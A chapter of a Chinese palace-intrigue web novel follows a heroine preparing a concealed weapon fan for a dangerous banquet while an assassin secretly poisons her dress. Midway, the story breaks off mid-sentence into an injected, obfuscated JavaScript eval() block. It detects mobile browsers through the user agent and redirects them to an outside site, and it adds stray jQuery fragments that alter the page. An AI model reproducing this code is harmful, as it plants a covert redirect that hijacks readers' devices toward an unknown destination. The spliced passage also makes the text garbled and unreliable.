亥时的雷声像生锈的斧头，一下一下劈在神都的脊梁上。


    暴雨将长公主府那片奢靡的建筑群浇得如同鬼域。影九像一只湿透的蝙蝠，倒挂在后花园假山的缝隙中，身体随着呼吸的频率与周围摇晃的树影完美同频。


    她盯着那扇通往地下的入口。


    那不是门。那是一块重达万斤的断龙石，表面爬满了青苔，却掩盖不住石缝里渗出的那股令人作呕的硫磺味。


    那是火药受潮后的味道，也是死亡的体味。


    影九伸出食指，指尖轻触石壁。


    嗡。嗡。


    极细微的震动顺着指骨传导至耳膜。那是齿轮咬合的声音，还有……滴漏声。


    这下面是一个活的机关兽。


    她尝试将一根极细的银丝探入石门的缝隙。刚进去半寸，银丝尖端便瞬间变黑，随即被一股无形的气流顶了出来。


    毒气回流装置。


    影九收回手，那双空洞的眸子里闪过一丝罕见的绝望。


    强攻？


    这下面埋的火药当量，足以把半个崇仁坊送上天。


    偷药？


    这根本不是药房，这是一座用毁灭来防御的坟墓。


    她闭上眼，脑海中浮现出沈婉清那张苍白却决绝的脸。任务失败。


    ……


    子时。王府工坊。


    这里的空气干燥得令人发指，炉火把裴玄的脸映得通红。满地都是废弃的竹片和扭曲的弹簧，像是一场机械屠杀的现场。


    “疯了！简直是疯了！”


    裴玄顶着两个巨大的黑眼圈，手里抓着一把锉刀，对着桌上的图纸咆哮，“要在这么薄的扇骨里塞进一个高压气槽？还要能连发三次？你知不知道这违背了七条力学原理！这根本不是扇子，这是手里捏着个炸雷！”


    沈婉清坐在轮椅上，手里捧着一盏凉透的茶，语气平静得像是在谈论明天的早饭。


    “猪膀胱。”


    “什么？”裴玄愣住了，手中的锉刀差点砸在脚上。


    “用处理过的猪膀胱做内胆，外面缠上西域的金蚕丝增加张力，再用高强度弹簧做活塞。”沈婉清伸出修长的手指，在虚空中画了一个结构，“类似那些变戏法的艺人用的喷火囊，但要把体积压缩十倍。”


    裴玄张大了嘴，像看怪物一样看着她。


    他在脑子里飞快地演算了一遍。


    该死。


    这不仅可行，甚至还有一种诡异的美感。


    “你脑子到底是怎么长的？”裴玄骂骂咧咧地蹲下身，在一堆废料里翻找，“这种缺德带冒烟的主意都能想出来……事先说好，这种结构极不稳定，尤其是密封圈。只有三次机会。第三次之后，热量会让猪膀胱脆化，扇骨会直接炸膛。”


    “够了。”沈婉清放下茶盏，“我要的就是它能杀人。”


    裴玄不再说话。锉刀摩擦金属的声音再次响起，刺耳，却带着一种令人心安的节奏。


    ……


    丑时。夜深人静。


    雨停了，屋檐还在滴水。


    钟离魅佝偻着背，手里捧着一叠刚熏好的衣物，走进了沈婉清的寝殿外间。


    她是这里新来的负责浆洗的老妇。


    殿内传来均匀的呼吸声。那是顾淮岸特意为沈婉清点的安神香，足以让人睡得像个死人。


    钟离魅将那件绯色留仙裙挂在衣架上。


    红得刺眼。像血。


    她伸出干枯如树皮的手，指甲缝里藏着一抹极细微的淡粉色粉末。


    那是“引魂香”的浓缩粉。平时无色无味，连最顶尖的仵作也验不出来。但只要遇到体温，或者遇到某些特定的毒引……它就会变成阎王的催命符。


    她动作轻柔地抚过裙子的领口。


    指尖在领口内侧最娇嫩的皮肤接触区，轻轻抹过。


    粉末无声无息地渗入布料纤维。


    哒。哒。


    沉重的脚步声从回廊尽头传来。


    钟离魅浑身一抖，立刻缩成一团，拿起旁边的鸡毛掸子，装作在清扫灰尘。


    莫七杀提着那把断刀走了过来。


    那只独眼像探照灯一样在老妇身上扫过。


    老妇瑟瑟发抖，连头都不敢抬，浑身上下散发着一股令人嫌恶的酸臭味——那是长期接触夜香和皂角的味道。


    莫七杀皱了皱鼻翼，没有闻到杀气，只有卑微的恐惧。


    他收回目光，转身离去。


    钟离魅在阴影中抬起头，浑浊的老眼里闪过一丝嘲弄。


    再锋利的刀，也砍不断水。


    ……


    寅时。书房。


    顾淮岸看着影九带回来的结构图，脸色阴沉得能滴出水来。


    “断龙石，毒气，连动火药。”


    他把图纸揉成一团，狠狠砸在桌上，“赵长华那个疯婆子，她是把自己的命也绑在上面了！这根本无解！”


    “有解。”


    沈婉清的声音从门口传来。


    她推着轮椅进来，膝盖上盖着那条厚重的毛毯。她的脸色比纸还白，但眼睛亮得吓人。


    “既然门打不开，就让人把钥匙送出来。”


    顾淮岸猛地抬头：“你想干什么？”


    “我去。”沈婉清笑了笑，“我去千红宴。只要我在宴席上逼她拿出解药，或者……让她不得不开启密室。”


    “你会死。”顾淮岸的声音沙哑，带着压抑不住的暴怒，“那是鸿门宴！你这副身子，哪怕是一杯普通的酒都能要了你的命！”


    “我不去，思音会死。我也活不久。”


    沈婉清伸出手，掌心向上，“把那个给我。”


    顾淮岸盯着她的手。


    他知道她要什么。


    玄铁虎符。


    那是三十万大军的调兵权，也是这神都最后的保命符。


    顾淮岸没动。他突然上前一步，单膝跪在她面前，一把抓住了她的手。力道大得几乎捏碎她的骨头。


    “沈婉清。”


    他叫着她的名字，眼底全是血丝，像是一头被逼入绝境的困兽，“你是不是……从来没想过要活？”


    沈婉清愣了一下。


    她看着眼前这个曾经不可一世的摄政王，此刻却像个即将被抛弃的孩子一样颤抖。


    “我想活。”


    她低下头，另一只手轻轻抚上他冰冷的脸颊，“止戈，我想活着看你君临天下。但有些路，必须用血去铺。”


    顾淮岸闭上了眼。


    良久。


    他从怀里掏出那枚带着体温的半块虎符，重重拍在她掌心。


    “若你回不来。”


    他睁开眼，眼底再无一丝温情，只有滔天的杀意，“这神都一百零八坊，哪怕变成焦土，我也要让赵长华给你陪葬。”


    窗外，第一缕晨曦刺破了云层。


    光照在工坊的角落里。


    裴玄瘫倒在地上，手里紧紧攥着那把刚刚组装好的折扇。扇柄的暗格里，被他偷偷塞进了一块刻着“安”字的废木料。


    那是数学家唯一的迷信。


    辰时的阳光刺眼得有些虚假。


    雨后的神都像是一块被洗刷过的砧板，干净，却透着股腥气。


    沈婉清坐在铜镜前。


    镜中的人，面色惨白如鬼，嘴唇却涂了最艳烈的正红。那是“飞霞妆”，前世萧声言最不屑的妆容，因为它太过张扬，像是一团要烧尽一切的火。


    但今天，她要的就是这团火。


    “王妃。”


    裴玄顶着两个堪比熊猫的黑眼圈，像游魂一样飘了进来。他手里捧着那个锦盒，动作小心得像是在捧着自己的祖宗。


    “做好了。”


    他把锦盒放在梳妆台上，声音嘶哑，“扇骨里有两根毒针，一个喷雾槽。记住，千万别按错了机关。还有……第三次之后，立刻扔掉，跑得越远越好。”


    沈婉清打开锦盒。


    一把湘妃竹折扇静静躺在里面。扇面是用天蚕丝织的，防火防水；扇骨打磨得温润如玉，看不出一丝杀气。


    “谢了。”沈婉清拿起扇子，入手微沉。


    “别谢我。”裴玄转过身，不敢看她那身红得刺眼的衣裳，“活着回来给我结工钱。工部的账还没平呢。”


    门口传来一阵令人牙酸的摩擦声。


    滋——滋——


    莫七杀蹲在门槛上，手里拿着一块磨刀石，正一下一下地磨着那把断刀。火星四溅，映照着他那张毫无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263724|196562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    表情的铁面具。


    他在磨刀，也在磨杀心。


    顾淮岸走了进来。


    他今日没穿朝服，也没穿铠甲，而是一身看似普通的墨色长袍。但沈婉清一眼就看出来，那是千金难求的“软猬甲”材质，刀枪不入。


    他走到她身后，拿起桌上那支海棠玉簪。


    “别动。”


    他的手在抖。


    那是一个常年握剑杀人的手，此刻却连一支玉簪都拿不稳。他深吸一口气，强行稳住指尖，将簪子缓缓插入她的发髻。


    “十里外，西山锐金营的三千骑兵已经待命。”


    他贴着她的耳边，声音低沉得像是在念诵咒语，“府内有八百寒衣卫，莫七杀和影九会贴身跟着你。只要你摔杯，我就屠府。”


    镜中，两人的目光交汇。


    一眼万年。


    没有生离死别的哭喊，也没有海誓山盟的矫情。


    “止戈。”


    沈婉清转过身，双手环住他的腰，将脸埋在他坚硬的胸膛上。那里的心跳快得像擂鼓。


    “今日这红妆，是为你穿的。”


    她闭上眼，贪婪地吸取着他身上的温度，“也是为她穿的。”


    顾淮岸浑身一僵。他知道那个“她”是谁。


    他反手抱住她，力道大得像是要把她揉进骨血里。他没有说话，只是从靴筒里抽出一把精巧的匕首，蹲下身，一圈圈绑在她纤细的小腿上。


    系紧。打结。


    像是在给即将上战场的士兵做最后的武装。


    “放心。”沈婉清看着他低垂的眉眼，轻声道，“我命硬。”


    ……


    辰时三刻。王府大门轰然洞开。


    一辆黑色的马车缓缓驶出。车轮碾过青石板，发出沉闷的辚辚声，像是一首送葬的曲子。


    莫七杀驾车，斗笠压得极低。


    影九隐没在车底的阴影里，无声无息。


    顾淮岸站在台阶上，负手而立。他一直看着马车，直到它转过街角，彻底消失在视线中。


    那一瞬间，他眼底的温情彻底熄灭。


    “传令。”


    他转过身，声音冷得像来自九幽地狱，“全城戒严。任何人不得出入九门。违令者，斩。”


    ……


    巳时。街头。


    马车穿过繁华的朱雀大街，拐入一条通往长公主府的幽深暗巷。这里光线昏暗，两侧的高墙将阳光切割成碎片。


    一个提着菜篮子的村妇正沿着墙根行走。


    路过马车时，她脚下一滑，似乎要摔倒。


    莫七杀手中的马鞭微微一紧，马车并没有减速，甚至往旁边偏了一寸，避开了那个村妇。


    村妇低着头，就在与马车窗帘擦肩而过的瞬间，她的鼻翼微微耸动。


    一股极淡的、只有她能分辨出的幽香，正顺着车窗缝隙飘散出来。


    那是被体温加热后的引魂香。


    成了。


    村妇——钟离魅的嘴角勾起一抹残忍的笑意。她在心中默数着时间：一刻钟，药力入肤；半个时辰，毒入骨髓；一个时辰，也就是千红宴开宴之时……神仙难救。


    车厢内。


    沈婉清正闭目养神，手指有一下没一下地敲击着膝盖上的机关扇。


    突然，她觉得领口处有些微痒。


    像是有蚂蚁爬过。


    她下意识地抬手挠了一下。


    指尖触碰到温热的皮肤，那种瘙痒感稍稍缓解，却并没有消失，反而顺着血管往深处钻。


    大概是新衣服的料子有些扎人吧？


    她没有在意。


    所有的注意力，都集中在了即将到来的那场死局上。


    马车缓缓停下。


    前方，两扇朱红色的大门像一张吞噬生灵的巨口，正缓缓张开。门钉上新刷的红漆，鲜艳得像未干的血。


    “到了。”


    莫七杀沉闷的声音传来。


    沈婉清睁开眼。


    那一刻，她眼底的病弱与温婉荡然无存，取而代之的是一种令人胆寒的清明与冷酷。


    她握紧了手中的机关扇，深吸一口气，踏下了马车。


    风起。


    红裙猎猎，如战旗。